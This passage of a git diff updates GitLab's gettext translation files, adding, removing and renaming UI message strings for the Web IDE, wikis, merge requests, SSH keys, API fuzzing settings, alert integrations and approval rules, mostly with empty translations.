+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/he_IL/gitlab.po b/locale/he_IL/gitlab.po
index 6efb08ba569..864b0438fde 100644
--- a/locale/he_IL/gitlab.po
+++ b/locale/he_IL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: he\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:55\n"
+"PO-Revision-Date: 2021-04-02 00:16\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -140,6 +140,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -510,6 +524,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -550,23 +574,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} more"
msgstr ""
@@ -665,7 +675,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1219,6 +1232,9 @@ msgstr[3] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1313,6 +1329,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1341,6 +1364,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1355,6 +1392,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1390,6 +1434,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1507,9 +1565,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1621,13 +1670,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1973,6 +2033,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2048,6 +2111,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr "הוספת סוגיות"
-
msgid "Add italic text"
msgstr ""
@@ -2105,6 +2168,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2123,6 +2189,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2216,6 +2285,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2384,9 +2459,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2822,6 +2894,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3534,6 +3648,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3546,9 +3663,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3639,7 +3753,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4012,6 +4126,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4030,9 +4150,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4232,6 +4355,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4274,13 +4403,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
